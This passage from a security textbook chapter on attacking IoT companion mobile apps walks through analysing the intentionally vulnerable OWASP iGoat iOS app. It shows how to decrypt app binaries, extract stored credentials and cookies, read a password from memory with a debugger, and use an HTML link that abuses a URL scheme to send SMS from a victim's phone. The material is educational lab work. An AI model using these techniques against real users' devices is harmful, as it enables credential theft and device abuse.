ably provide more attack vectors for compromising systems that rely on 
long-range communication. If you securely deploy your LoRa devices, con-
figure them, and implement key management for nodes and servers, you 
can greatly limit this attack surface. You should handle all incoming data as 
untrusted, as well. Even as developers introduce improved specifications for 
these communication protocols, with enhancements that make their secu-
rity stronger, new features can introduce vulnerabilities as well.
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Today, you can use your mobile phone to 
control practically everything in your home. 

Imagine that it’s date night with your part-
ner. You’ve prepared dinner, placed it in the 

oven, and set the cooking instructions on your phone, 
which you also use to regularly monitor its progress. 
Then you adjust the ventilation, heating, and cooling, 
which you also control through an app on your phone.  
You use your phone to set the TV to play some background music. (You lost 
your TV remote three years ago and never bothered to look for it.) You also 
use an app to dim the IoT-enabled lights. Everything is perfect.

But if everything in your house is controlled by your phone, anyone 
who has compromised your phone can also control your home. In this chap-
ter, we provide an overview of threats and vulnerabilities common to IoT 
companion mobile apps. Then we perform an analysis of two intentionally 
insecure apps: the OWASP iGoat app for iOS and the InsecureBankV2 app 
for Android.

14
A T T A C K I N G  M O B I L E 

A P P L I C A T I O N S
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Because we’re nearing the end of the book, we move quickly through 
the many vulnerabilities these apps contain, all while referencing many 
tools and analysis methods. We encourage you to explore each of the tools 
and techniques in more detail on your own.

Threats in IoT Mobile Apps
Mobile apps bring their own ecosystem of threats to the IoT-enabled world. 
In this section, we’ll walk through a process similar to the threat modeling 
methodology in Chapter 2 to investigate the main threats that mobile apps 
introduce against our IoT device.

Because designing the threat model isn’t the main target of this chap-
ter, we won’t perform a full analysis on the components we identify. Instead, 
we’ll examine the generic threat categories related to mobile devices and 
then identify the relevant vulnerabilities. 

Breaking Down the Architecture into Components
Figure 14-1 shows the basic components of an IoT mobile app environment. 

Mobile device ecosystem

Application

Platform specific 
ecosystem

Device specific 
hardware and firmware

App store

IoT device Vendor’s 
infrastructure

Third-party 
service provider

Figure 14-1: Breaking down the IoT companion mobile app environment

We separate the mobile app from the platform-specific ecosystem and 
hardware-related functionalities. We also take into account the process of 
installing an IoT companion mobile app from an app store, the communi-
cation of this app with the IoT device, the vendor’s infrastructure, and any 
potential third-party service provider.
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Identifying Threats
Now we’ll identify two kinds of threats to mobile app environments: general 
threats affecting mobile devices and threats affecting the Android and iOS 
environments specifically. 

General Mobile Device Threats

The main characteristic of a mobile device is its portability. You can eas-
ily carry a phone everywhere, and as a result, it can be easily lost or stolen. 
Even if people steal phones for the device’s value, adversaries could retrieve 
sensitive personal data stored in the IoT companion app storage. Or, they 
could attempt to circumvent a weak or broken authentication control in the 
app to gain remote access to the associated IoT device. Device owners who 
remain logged into their IoT companion app accounts will make the pro-
cess much easier for the attackers. 

In addition, mobile devices are usually connected to untrusted net-
works, such as the random Wi-Fi public hotspots in cafes and hotel rooms, 
opening the way for a variety of network attacks (such as man-in-the-middle 
attacks or network sniffing). The IoT companion apps are typically designed 
to perform network connections to the vendor’s infrastructure, cloud ser-
vices, and the IoT device. Adversaries can exfiltrate or tamper with the 
exchanged data if these apps are operating in insecure networks. 

The app could also work as a bridge between the IoT device and the 
vendor’s API, third-party providers, and cloud platforms. These exter-
nal systems could introduce new threats regarding the protection of the 
exchanged sensitive data. Attackers can target and exploit publicly acces-
sible services or misconfigured infrastructure components to gain remote 
access and extract the stored data.

The actual procedure of installing the app might also be susceptible to 
attacks. Not all IoT companion apps come from an official mobile app store. 
Many mobile devices let you install apps from third-party stores or apps 
that aren’t necessarily signed by a valid developer’s certificate. Adversaries 
exploit this issue to deliver fake versions of the apps that contain malicious 
functionalities.

Android and iOS Threats

Now let’s investigate the threats related to the Android and iOS platforms. 
Figure 14-2 shows the ecosystems for both platforms.

The software for both platforms includes three layers: a lower layer 
containing the operating system and interfaces to the device resources; an 
intermediate layer consisting of the libraries and application frameworks 
that provide most of the API functionality; and an applications layer, in 
which the custom apps and a set of system apps reside. The applications 
layer is responsible for letting the user interact with the mobile device. 
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iOS ecosystem

Core OS layer
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Private 
frameworks

Media layer
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Libraries Android 
runtime
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Figure 14-2: The Android and iOS ecosystems

Both platforms offer flexibility to developers and users. For example, 
users might want to install customized software, such as games and exten-
sions developed by untrusted programmers. Adversaries can trick users into 
installing malware camouflaged as legit apps, and these apps can interact 
with an IoT companion app in malicious ways. Additionally, the platforms 
have rich development environments, but reckless or untrained developers 
sometimes fail to protect sensitive data by inappropriately using the inher-
ited device-specific security controls, or in certain cases, even disabling 
them. 

Certain platforms, such as Android, suffer from another threat: the 
quantity of different available devices that run the platform. Many of 
these devices use outdated versions of the platform operating system that 
contain known vulnerabilities, introducing a software fragmentation prob-
lem. It’s nearly impossible for a developer to keep track of and mitigate all 
these issues as well as identify them. Also, attackers can identify, target, 
and abuse ill-protected IoT companion apps by exploiting specific device 
inconsistencies. For example, APIs related to security controls, such as fin-
gerprint authentication, might not always have the expected behavior due 
to hardware differences. Multiple manufacturers offer device hardware 
for Android with different specs and security baseline standards. These 
vendors are also responsible for maintaining and deploying their own 
custom Read-Only Memory (ROM), which amplifies the fragmentation prob-
lem. Users expect a well-tested, robust, and secure software, but instead, 
the developers build upon the not-so-reliable API of an unpredictable 
environment. 
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Android and iOS Security Controls
Android and iOS platforms include a number of security controls that are 
integrated into critical components of their architectures. Figure 14-3 sum-
marizes these controls. 

Platform security
architecture

Data protection

Application sandbox

Application signing

Trusted execution environment, 
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Verified/secure boot
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Encrypted filesystem
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Figure 14-3: Integrated security controls in mobile platform architectures 

The following sections walk through these controls in detail.

Data Protection and Encrypted Filesystem
To protect application and user data, the platforms must request consent 
for interactions between different platform components that affect user 
data from all the involved entities: the users (through prompts and noti-
fications), the developers (through the use of certain API calls), and the 
platform (by providing certain functionalities and making sure the system 
behaves as expected). 

To protect data at rest, Android and iOS use file-based encryption (FBE) 
and full disk encryption (FDE), and to protect data in transit, the platforms can 
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encrypt all transmissions. But both of these controls are left up to develop-
ers to implement by using the appropriate parameters in the provided APIs. 
Versions of Android prior to 7.0 don’t support FBE, and those prior to 4.4 
don’t even support FDE. On the iOS platform, you can achieve file encryp-
tion even when the device is changing states (for example, if the device is 
initiated or unlocked or if the user has been authenticated at least once). 

Application Sandbox, Secure IPC, and Services
Android and iOS also isolate platform components. Both platforms use 
Unix-style permissions, enforced by the kernel, to achieve a discretionary 
access control and form an application sandbox. On Android, each app 
runs as its own user with its own UID. A sandbox also exists for system 
processes and services, including the phone, Wi-Fi, and Bluetooth stack. 
Android also has a mandatory access control that dictates the allowed 
actions per process or set of processes using Security Enhanced Linux 
(SE-Linux). On the other hand, all iOS apps run as the same user (named 
“mobile”), but each app is isolated in a sandbox similar to Android’s and 
given access only to its own part of the filesystem. Additionally, the iOS 
kernel prohibits apps from making certain system calls. Both platforms 
embrace an app-specific, permissions-style approach to allow secure inter-
process communication and access on shared data (Android Permissions, 
iOS entitlements). These permissions are declared in the app’s development 
phase and granted at the installation or execution time. Both platforms 
also implement similar isolation on the kernel layer by reducing access to 
drivers or sandboxing the drivers’ code.

Application Signatures
Both platforms use app signatures to verify that the applications haven’t 
been tampered with. The approved developers must generate these signa-
tures before submitting an app to the platform’s official app store, but there 
are differences in the way that the signature verification algorithm works 
and the time that the signature validation occurs. In addition, the Android 
platform allows users to install apps from any developer by enabling the 
“unknown sources” options setting in the application settings. Android 
device vendors also install their own custom application store that might 
not necessarily comply with this restriction. In contrast, the iOS platform 
only allows you to install apps created by developers who are part of an 
authorized organization, using enterprise certificates, or who are also the 
device owners.

User Authentication
Both platforms authenticate the user, usually based on knowledge factors 
(for example, by requesting a PIN, a pattern, or a user-defined password), 
using biometrics (such as fingerprints, iris scans, or face recognition), or 
even using behavioral approaches (like unlocking the device in trusted 
locations or when associating with trusted devices). The authentication 
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control typically involves software and hardware components, although 
some Android devices are equipped with no such hardware component. 
The developers can verify the existence of this hardware using specialized 
API calls that the Android platform framework provides. In both platforms, 
developers can ignore the platform-provided, hardware-backed user authen-
tication or perform their own custom client-side authentication control in 
the software layer, degrading the security performance. 

Isolated Hardware Components and Keys Management
Modern devices isolate platform components in the hardware layer to pre-
vent a compromised kernel from having full control of the hardware. They 
protect certain security-related functionalities, such as key storage and 
operations, using isolated hardware implementations.  For example, they 
may use a trusted platform module, an isolated hardware component specifi-
cally created to perform fixed crypto operations; a trusted execution environ-
ment, a reprogrammable component located in a secure area of the main 
processor; or separate tamper-resistant hardware hosted in discrete hardware 
alongside the main processor. To support financial transactions, certain 
devices also have a secure element that executes code in the form of Java 
applets and can securely host confidential data. 

Some device vendors use customized implementations of these tech-
nologies. For example, the latest Apple devices use the Secure Enclave, 
a separate hardware component capable of hosting code and data and 
performing authentication operations. The latest Google devices use a 
tamper-resistant hardware chip named Titan M with similar capabilities. 
ARM-based main chipsets support a trusted execution environment named 
TrustZone, and Intel-based main chipsets support one named SGX. These 
isolated hardware components implement the platforms’ key storage func-
tionalities. But it’s up to the developers to use the correct API calls to safely 
leverage the trusted keystores. 

Verified and Secure Boot
Additionally, both platforms use software components that are verified 
during the boot phase when the operating system loads. Secure boot veri-
fies the device’s bootloader and the software of certain isolated hardware 
implementations, initiating a hardware Root of Trust. In Android-based 
platforms, Android Verified Boot is responsible for verifying the software 
components, and in iOS-based platforms, SecureRom has that responsibility. 

Analyzing iOS Applications
In this section, we’ll investigate an open source mobile app for iOS: the 
OWASP iGoat project (https://github.com/OWASP/igoat/). Although not an 
IoT companion app, the iGoat project contains identical business logic 

https://github.com/OWASP/igoat/
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and uses similar functionalities to many apps for IoT devices. We’ll  
focus only on uncovering vulnerabilities that might exist in IoT  
companion apps.

The iGoat mobile app (Figure 14-4) contains a series of challenges 
based on common mobile app vulnerabilities. The user can navigate to 
each challenge and interact with the deliberately vulnerable component to 
extract hidden secret flags or tamper with the app’s functionality.

Figure 14-4: Categories in the iGoat mobile app

Preparing the Testing Environment
To test iGoat, you’ll need an Apple desktop or laptop, which you’ll use to 
set up an iOS simulator in the Xcode IDE. You can only install Xcode on 
macOS through the Mac App Store. You should also install the Xcode com-
mand line tools using the xcode-select command:

$ xcode-select --install

Now create your first simulator using the following xcrun command, 
which allows you to run the Xcode development tools:

$ xcrun simctl create simulator com.apple.CoreSimulator.SimDeviceType.iPhone-X 
com.apple.CoreSimulator.SimRuntime.iOS-12-2 
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The first parameter, named simctl, allows you to interact with iOS 
simulators. The create parameter creates a new simulator with the name 
of the parameter that follows. The last two parameters specify the device 
type, which in our case is an iPhone X, and the iOS runtime, which is iOS 
12.2. You can install other iOS runtimes by opening Xcode, clicking the 
Preferences option, and then choosing one of the available iOS simulators 
in the Components tab (Figure 14-5).

Figure 14-5: Installing iOS runtimes

Boot and open your first simulator using the following commands:

$ xcrun simctl boot <simulator identifier> 
$ /Applications/Xcode.app/Contents/Developer/Applications/Simulator.app/
Contents/MacOS/Simulator -CurrentDeviceUDID booted 

Next, use the git command to download the source code from the 
repository, navigate to the iGoat application folder, and compile the appli-
cation for the simulated device using the xcodebuild command. Then install 
the generated binary in the booted simulator: 

$ git clone https://github.com/OWASP/igoat
$ cd igoat/IGoat
$ xcodebuild -project iGoat.xcodeproj -scheme iGoat -destination 
"id=<simulator identifier>" 
$ xcrun simctl install  booted ~/Library/Developer/Xcode/DerivedData/
iGoat-<application identifier>/Build/Products/Debug-iphonesimulator/iGoat.app 

You can find the application identifier either by checking the last lines 
of the xcodebuild command or by navigating to the ~/Library/Developer/Xcode/
DerivedData/ folder.

Extracting and Re-Signing an IPA
If you already have an iOS device you use for testing with an installed app 
that you want to examine, you’ll have to extract the app differently. All iOS 
apps exist in an archive file called an iOS App Store Package (IPA). In the past, 
earlier versions of iTunes (up to 12.7.x) permitted users to extract the IPAs 
for apps acquired through the App Store. Also, in previous iOS versions up 
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to 8.3, you could extract an IPA from the local filesystem using software 
such as iFunBox or the iMazing tool. But these aren’t official methods and 
might not support the latest iOS platforms. 

Instead, use a jailbroken device to extract the app’s folder from the file-
system or attempt to find the application already decrypted by another user 
in an online repository. For example, to extract the iGoat.app folder from 
a jailbroken device, navigate to the Applications folder and search for the 
subfolder that contains the app: 

$ cd /var/containers/Bundle/Application/

If you installed the application through the App Store, the main binary 
will be encrypted. To decrypt the IPA from the device memory, use a pub-
licly available tool, such as Clutch (http://github.com/KJCracks/Clutch/):

$ clutch -d <bundle identifier>

You might also have an IPA that isn’t signed for your device, either 
because a software vendor provided it to you or because you’ve extracted this 
IPA in one of the previously mentioned ways. In this case, the easiest way to 
install it in your testing device is to re-sign it using a personal Apple devel-
oper account with a tool like Cydia Impactor (http://www.cydiaimpactor.com/) 
or node-applesign (https://github.com/nowsecure/node-applesign/). This method 
is common for installing apps, such as unc0ver, that perform jailbroken 
functions.

Static Analysis 
The first step of our analysis is to examine the created IPA archive file. This 
bundle is nothing more than a ZIP file, so start by unzipping it using the 
following command. 

$ unzip iGoat.ipa
-- Payload/
---- iGoat.app/
------- 1Info.plist 
------- 2iGoat 
------- ...

The most important files in the unzipped folder are the information 
property list file (named Info.plist 1), which is a structured file that contains 
configuration information for the application, and the executable file 2, 
which has the same name as the application. You’ll also see other resource 
files that live outside of the main application’s executable file.

Open the information property list file. A common suspicious finding 
here is the existence of registered URL schemes (Figure 14-6). 

Figure 14-6: A registered URL scheme in the information property list file 

http://github.com/KJCracks/Clutch/
http://www.cydiaimpactor.com
https://github.com/nowsecure/node-applesign/
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A URL scheme mainly allows a user to open a specific app interface from 
other apps. Adversaries might attempt to exploit these by making the device 
execute unwanted actions in the vulnerable app when it loads this inter-
face. We’ll have to test the URL schemes for this vulnerability later in the 
dynamic analysis phase.

Inspecting the Property List Files for Sensitive Data

Let’s look at the rest of the property list files (the files with the extension 
.plist), which store serialized objects and often hold user settings or other 
sensitive data. For example, in the iGoat app, the Credentials.plist file con-
tains sensitive data related to the authentication control. You can read this 
file using the Plutil tool, which converts the .plist file to XML: 

$ plutil -convert xml1 -o - Credentials.plist 
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<string>Secret@123</string>
<string>admin</string>
</plist>

You can use the identified credentials to authenticate in the 
Data Protection (Rest) category’s Plist Storage challenge in the app 
functionalities.

Inspecting the Executable Binary for Memory Protections

Now we’ll inspect the executable binary and check whether it’s been com-
piled with the necessary memory protections. To do this, run the object file 
displaying tool (Otool), which is part of Xcode’s CLI developer tools package: 

$ otool -l iGoat | grep -A 4 LC_ENCRYPTION_INFO 
cmd LC_ENCRYPTION_INFO 
cmdsize 20
cryptoff 16384
cryptsize 3194880

1 cryptid 0 
$ otool -hv iGoat
magic 	     cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags 
MH_MAGIC  ARM     V7          0x00    EXECUTE  35    4048            NOUNDEFS 
DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK 2 PIE 

First, we examine whether the binary has been encrypted in the 
App Store by investigating cryptid 1. If this flag is set to 1, the binary is 
encrypted and you should attempt to decrypt it from the device memory 
using the approach described earlier in “Extracting and Re-Signing an 
IPA” on page 343. We also check whether address space layout randomiza-
tion is enabled by checking whether the PIE flag 2 exists in the binary’s 
header. Address space layout randomization is a technique that randomly 
arranges the memory address space positions of a process to prevent the 
exploitation of memory corruption vulnerabilities.
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Using the same tool, check whether stack-smashing protection is enabled. 
Stack-smashing protection is a technique that detects memory corruption 
vulnerabilities by aborting a process’s execution if a secret value in the 
memory stack changes. 

$ otool -I -v iGoat | grep stack
0x002b75c8   478 ___stack_chk_fail
0x00314030   479 ___stack_chk_guard1
0x00314bf4   478 ___stack_chk_fail

The __stack_chk_guard 1 flag indicates that stack-smashing protection 
is enabled. 

Finally, check whether the app is using Automatic Reference Counting (ARC), 
a feature that replaces traditional memory management by checking for sym-
bols, such as _objc_autorelease, _objc_storeStrong, and _objc_retain: 

$ otool -I -v iGoat | grep _objc_autorelease 
0x002b7f18   715 _objc_autorelease\

The ARC mitigates memory-leak vulnerabilities, which occur when 
developers fail to free unnecessary allocated blocks and can lead to mem-
ory exhaustion issues. It automatically counts the references to the allo-
cated memory blocks and marks blocks with no remaining references for 
deallocation.

Automating Static Analysis

You can also automate your static analysis of the application source code (if 
it’s available) and the generated binary. Automated static analyzers examine 
several possible code paths and report potential bugs that could be almost 
impossible to identify using manual inspection.

For example, you could use a static analyzer like llvm clang to audit 
the app’s source code at compile time. This analyzer identifies a number 
of bug groups, including logic flaws (such as dereferencing null pointers, 
returning an address to stack-allocated memory, or using undefined results 
of business logic operations); memory management flaws (such as leaking 
objects and allocated memory and allocation overflows); dead store flaws 
(such as unused assignments and initializations); and API usage flaws origi-
nating from the incorrect use of the provided frameworks. It’s currently 
integrated in Xcode, and you can use it by adding the analyze parameter in 
the build command: 

$ xcodebuild  analyze -project iGoat.xcodeproj -scheme iGoat -destination  "name=iPhone X"

The analyzer bugs will appear in build log. You could use many 
other tools to automatically scan the application binary, such as the 
Mobile Security Framework (MobSF) tool (https://github.com/MobSF/
Mobile-Security-Framework-MobSF/).

https://github.com/MobSF/Mobile-Security-Framework-MobSF/
https://github.com/MobSF/Mobile-Security-Framework-MobSF/
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Dynamic Analysis
In this section, we’ll execute the app in the simulated iOS device, test the 
device’s functionalities by submitting user input, and examine the app’s 
behavior within the device ecosystem. The easiest approach to this task is to 
manually examine how the app affects major device components, such as 
the filesystem and the keychain. This dynamic analysis can reveal insecure 
data storage and improper platform API usage issues.

Examining the iOS File Structure and Its Databases

Let’s navigate to the application folder in the simulated device to examine 
the file structure that iOS apps use. In iOS platforms, apps can only interact 
with directories inside the app’s sandbox directory. The sandbox directory 
contains the Bundle container, which is write-protected and contains the 
actual executable, and the Data container, which contains a number of subdi-
rectories (such as Documents, Library, SystemData, and tmp) that the app uses 
to sort its data. 

To access the simulated device filesystem, which serves as the root direc-
tory for the following sections of the chapter, enter the following command:

$ cd ~/Library/Developer/CoreSimulator/Devices/<simulator identifier>/

Next, navigate to the Documents folder, which will initially be empty. To 
locate the application identifier, you can search for the iGoat app using the 
find command:

$ find . -name *iGoat*
./data/Containers/Data/Application/<application id>/Library/Preferences/com.
swaroop.iGoat.plist
$ cd data/Containers/Data/Application/<application id>/Documents

The initially empty folder will be populated with files created dynami-
cally by the application’s different functionalities. For example, by navi-
gating to the Data Protection (Rest) category in the app functionalities, 
selecting the Core Data Storage challenge, and pressing the Start button, 
you’ll generate a number of files with the prefix CoreData. The challenge 
requires you to inspect those files and recover a pair of stored credentials. 

You can also monitor the dynamically created files using the fswatch 
application, which you can install through one of the available third-
party package managers in macOS, such as Homebrew (https://brew.sh/) or 
MacPorts (https://www.macports.org/). 

$ brew install fswatch
$ fswatch -r ./
/Users/<username>/Library/Developer/CoreSimulator/Devices/<simulator identifier>/data/
Containers/Data/Application/<application id> /Documents/CoreData.sqlite

Perform the installation by specifying the Homebrew package man-
ager’s brew binary followed by the install parameter and the name of the 

CoreData
https://brew.sh/
https://www.macports.org/
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requested package. Next, use the fswatch binary followed by the -r param-
eter to recursively monitor the subfolders and the target folder, which in 
our case is the current directory. The output will contain the full path of 
any created file.

We’ve already mentioned how to examine the contents of .plist files, so 
we’ll now focus on these CoreData files. Among other tasks, the CoreData 
framework abstracts the process of mapping objects to a store, making it 
easy for developers to save data on the device filesystem in a sqlite data-
base format without having to manage the database directly. Using the 
sqlite3 client, you can load the database, view the database tables, and read 
the contents of the ZUSER table, which contains sensitive data, such as user 
credentials:

$ sqlite3 CoreData.sqlite
sqlite> .tables
ZTEST         ZUSER         Z_METADATA    Z_MODELCACHE  Z_PRIMARYKEY
sqlite> select * from ZUSER ;
1|2|1|john@test.com|coredbpassword

You can use the identified credentials later to authenticate in the “Core 
Data Storage” challenge’s login form. Once you do so, you should receive a 
success message indicating the completion of the challenge. 

A similar vulnerability existed in the SIMATIC WinCC OA Operator 
application for the iOS platform, which allowed users to control a Siemens 
SIMATIC WinCC OA facility (such as water supply facilities and power 
plants) easily via a mobile device. Attackers with physical access to the 
mobile device were able to read unencrypted data from the app’s directory 
(https://www.cvedetails.com/cve/CVE-2018-4847/). 

Running a Debugger

It’s also possible to examine an application using a debugger. This technique 
would reveal the application’s inner workings, including the decryption of 
passwords or the generation of secrets. By examining these processes, we 
can usually intercept sensitive information compiled into the application 
binary and presented at runtime. 

Locate the process identifier and attach a debugger, such as gdb or lldb. 
We’ll use lldb from the command line. It’s the default debugger in Xcode, 
and you can use it to debug C, Objective-C, and C++ programs. Enter the 
following to locate the process identifier and attach the lldb debugger.  

$ ps -A | grep iGoat.app
59843 ??         0:03.25 /..../iGoat.app/iGoat
$ lldb
(lldb) process attach --pid 59843
Executable module set to "/Users/.../iGoat.app/iGoat".
Architecture set to: x86_64h-apple-ios-.
(lldb) process continue
Process 59843 resuming

https://www.cvedetails.com/cve/CVE-2018-4847/
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When you attach the debugger, the process pauses, so you’ll have to 
continue the execution by using the process continue command. Watch the 
output as you do so to locate interesting functions that perform security 
related operations. For example, the following function calculates the pass-
word you can use to authenticate in the Runtime Analysis category’s Private 
Photo Storage challenge in the app’s functionalities:

- 1 (NSString *)thePw 
{
    char xored[] = {0x5e, 0x42, 0x56, 0x5a, 0x46, 0x53, 0x44, 0x59, 0x54, 
0x55};
    char key[] = "1234567890";
    char pw[20] = {0};  
    for (int i = 0; i < sizeof(xored); i++) {
        pw[i] = xored[i] ^ key[i%sizeof(key)];
    }
    return [NSString stringWithUTF8String:pw]; 
}

To understand what the function does, check the iGoat app’s source 
code, which you downloaded earlier using the git command. More pre-
cisely, look at the thePw 1 function in the iGoat/Personal Photo Storage/
PersonalPhotoStorageVC.m class. 

It’s now possible to intentionally interrupt the software execution to 
this function using a breakpoint to read the calculated password from the 
app’s memory. To set a breakpoint, use the b command followed by the 
function name: 

(lldb) b thePw 
Breakpoint 1: where = iGoat`-[PersonalPhotoStorageVC thePw] + 39 at 
PersonalPhotoStorageVC.m:60:10, address = 0x0000000109a791cs7
(lldb) 
Process 59843 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
   ...
   59  	 - (NSString *)thePw{
-> 60  	     char xored[] = {0x5e, 0x42, 0x56, 0x5a, 0x46, 0x53, 0x44, 0x59, 
0x54, 0x55};
   61  	     char key[] = "1234567890";
   62  	     char pw[20] = {0};

After navigating to the corresponding functionality in the simulated 
app, the app should freeze and a message pointing to the execution step 
with an arrow should appear in the lldb window.

Now move to the following execution steps using the step command. 
Continue doing so until you reach the end of the function where the secret 
password gets decrypted: 

(lldb) step 
    frame #0: 0x0000000109a7926e iGoat`-[PersonalPhotoStorageVC thePw]
(self=0x00007fe4fb432710, _cmd="thePw") at PersonalPhotoStorageVC.m:68:12
   65  	         pw[i] = xored[i] ^ key[i%sizeof(key)];
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   66  	     }	     
-> 68  	     return [NSString stringWithUTF8String:pw]; 
   69  	 }
   71  	 @e

1 (lldb) print pw 
2 (char [20]) $0 =  "opensesame" 

Using the print 1 command, you can retrieve the decrypted pass-
word 2. Learn more about the lldb debugger in iOS Application Security by 
David Thiel (https://nostarch.com/iossecurity/).

Reading Stored Cookies

Another not so obvious location in which mobile apps usually store sensitive 
information is the Cookies folder in the filesystem, which contains the HTTP 
cookies websites use to remember user information. IoT companion apps 
navigate to and render websites in WebView to present web content to end 
users. (A discussion of WebView is outside the scope of this chapter, but you 
can read more about it at the iOS and Android developer pages. We’ll also use 
WebView in an attack against a home treadmill in Chapter 15.) But many of 
these sites require user authentication to present personalized content, and as 
a result, they use HTTP cookies to track the active users’ HTTP sessions. We 
can search these cookies for authenticated user sessions that could allow us to 
impersonate the user on these websites and retrieve the personalized content. 

The iOS platform stores these cookies in a binary format, often for long 
periods of time. We can use the BinaryCookieReader (https://github.com/
as0ler/BinaryCookieReader/) tool to decode them in a readable form. To run 
it, navigate to the Cookies folder, and then run this Binary Cookie Reader 
Python script: 

$ cd data/Containers/Data/Application/<application-id>/Library/Cookies/
$ python BinaryCookieReader/BinaryCookieReader.py com.swaroop.iGoat.binarycookies 
... 
Cookie : 1 sessionKey=dfr3kjsdf5jkjk420544kjkll; domain=www.github.com; path=/OWASP/iGoat; 
            expires=Tue, 09 May 2051;

The tool returns cookies that contain session keys for a website 1. You 
could use that data to authenticate in the Data Protection (Rest) category’s  
Cookie Storage challenge in the app functionalities. 

You might also find sensitive data in the HTTP caches, which websites 
use to improve performance by reusing previously fetched resources. The 
app stores these resources in its /Library/Caches/ folder in a SQLite database 
named Cache.db. For example, you can solve the Data Protection (Rest) 
category’s Webkit Cache challenge in the app functionalities by retrieving 
the cached data from this file. Load the database and then retrieve the 
contents of the cfurl_cache_receiver_data table, which contains the cached 
HTTP responses:

$ cd data/Containers/Data/Application/<application-id>/Library/Caches/com.
swaroop.iGoat/

https://nostarch.com/iossecurity/
https://github.com/as0ler/BinaryCookieReader/
https://github.com/as0ler/BinaryCookieReader/
Cookies


Attacking Mobile Applications   351

$ sqlite3 Cache.db
sqlite> select * from cfurl_cache_receiver_data;
1|0|<table border='1'><tr><td>key</td><td>66435@J0hn</td></tr></table>

A similar vulnerability affects the popular Hickory Smart app for iOS 
versions 01.01.07 and earlier; the app controls smart deadbolts. The app’s 
database was found to contain information that could allow attackers to 
remotely unlock doors and break into homes (https://cve.mitre.org/cgi-bin/ 
cvename.cgi?name=CVE-2019-5633/). 

Inspecting Application Logs and Forcing the Device to Send Messages

Moving forward with our assessment, we can inspect the application logs 
to identify leaked debug strings that might help us to infer the application 
business logic. You can retrieve the logs through the Console app’s inter-
face, which is preinstalled in macOS, as shown in Figure 14-7. 

Figure 14-7: Exposed encryption password in iOS device logs

You can also retrieve them using the Xcrun tool: 

$ `xcrun simctl spawn booted log stream > sim.log&`; open sim.log;

The device logs contain an encryption key that you can use to authenti-
cate in the Key Management category’s Random Key Generation challenge 
in the app functionalities. It seems that although the application correctly 
generated an encryption key for authentication purposes, this key was 
leaked in the logs, so an attacker with physical access to a computer and a 
paired device could obtain it. 

A careful inspection of the logs while the other app functionalities are 
in use reveals that the app uses the URL scheme we identified on page 344 
to send an internal message, as shown in Figure 14-8.

Figure 14-8: Exposed URL scheme parameters in iOS device logs

Let’s verify this behavior by using the xcrun command to open a URL 
with a similar structure in the simulator’s browser:

$ xcrun simctl openurl booted “iGoat://?contactNumber=+1000000&message=hacked”

To exploit this vulnerability, we could create a fake HTML page that 
would load the URL when the browser renders the included HTML ele-
ments and then force the victim to send multiple unsolicited messages of 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5633/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5633/
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this type. You can use the following HTML to conduct this attack when the 
user clicks the link. This attack would let you successfully pass the URL 
Scheme challenge in the app functionalities:

<html>
<a href="iGoat://?contactNumber=+1000000&message=hacked"/> click here</a>
</html>

Figure 14-9 shows that we succeeded in sending a text message from the 
user’s phone.

Figure 14-9: Abuse of the exposed URL scheme to force a victim to send SMS messages

This vulnerability could be extremely useful; in some cases, it could let 
you remotely control IoT devices that receive commands via text messages 
from authorized numbers. Smart car alarms often have this feature.

Application Snapshots

Another common way data gets leaked in iOS apps is through app screen-
shots. When the user selects the home button, iOS takes a screenshot of the 
app by default and stores it in the file system in cleartext. This screenshot 
can contain sensitive data, depending on the screen the user was view-
ing. You can replicate this issue in the Side Channel Data Leaks category’s 
Backgrounding challenge in the app functionalities.

Using the following commands, you can navigate to the application’s 
Snapshots folder, where you might find currently saved snapshots:

$ cd data/Containers/Data/Application/<application-id>/Library/Caches/Snapshots/com.swaroop.iGoat/
$ open E6787662-8F9B-4257-A724-5BD79207E4F2\@3x.ktx 
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Testing for Pasteboard and Predictive Text Engine Data Leaks

Additionally, iOS apps commonly suffer from pasteboard and predictive 
text engine data leaks. The pasteboard is a buffer that helps users share data 
between different application interfaces, or even between different applica-
tions, when they select a cut, copy, or duplicate operation from a system-
provided menu. But this exact functionality might unintentionally disclose 
sensitive information, such as the user’s password, to third-party malicious 
apps that are monitoring this buffer, or to other users on a shared IoT device. 

The predictive text engine stores words and sentences that a user types and 
then automatically suggests them the next time the user attempts to fill an 
input, improving the overall writing speed. But attackers can easily find this 
sensitive data in a jailbroken device’s filesystem by navigating to the following 
folder: 

$ cd data/Library/Keyboard/en-dynamic.lm/

Using this knowledge, you can easily solve the Side Channel Data Leaks 
category’s Keystroke Logging and the Cut-and-Paste challenges in the app 
functionalities.

The Huawei HiLink app for iOS contained an information-leak vulner-
ability of this type (https://www.cvedetails.com/cve/CVE-2017-2730/). The app 
works with many Huawei products, such as Huawei Mobile WiFi (E5 series), 
Huawei routers, Honor Cube, and Huawei home gateways. The vulnerabil-
ity allowed attackers to collect user information about the iPhone model 
and firmware version and potentially track the vulnerable devices.

Injection Attacks 
Although XSS injection is a very common vulnerability in web applications, 
it’s difficult to find in mobile apps. But you’ll sometimes see it in cases when 
an app uses WebView to present untrusted content. You can test such a case 
in the Injection Flaws category’s Cross Site Scripting challenge in the app 
functionalities by injecting a simple JavaScript payload between script tags 
in the provided input field (Figure 14-10).

Figure 14-10: An XSS attack  
in the examined application

https://www.cvedetails.com/cve/CVE-2017-2730/
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An adversary able to exploit an XSS vulnerability in WebView could 
access any sensitive information currently rendered, as well as the HTTP 
authentication cookies that might be in use. They could even tamper with 
the presented web page by adding customized phishing content, such as 
fake login forms. In addition, depending on the WebView configuration 
and the platform framework support, the attacker might also access local 
files, exploit other vulnerabilities in supported WebView plug-ins, or even 
perform requests to native function calls. 

It might also be possible to perform a SQL injection attack on mobile 
apps. If the application uses the database to log usage statistics, the attack 
would most likely fail to alter the application flow. On the contrary, if the 
application uses the database for authentication or restricted content 
retrieval and a SQL injection vulnerability is present, we might be able to 
bypass that security mechanism. If we can modify data to make the applica-
tion crash, we can turn the SQL injection into a denial-of-service attack. In 
the Injection Flaws category’s SQL Injection challenge in the app functional-
ities, you can use a SQL injection attack vector to retrieve unauthorized con-
tent using a malicious SQL payload. 

Note that since iOS 11, the iPhone keyboard contains only a single 
quotation mark instead of the ASCII vertical apostrophe character. This 
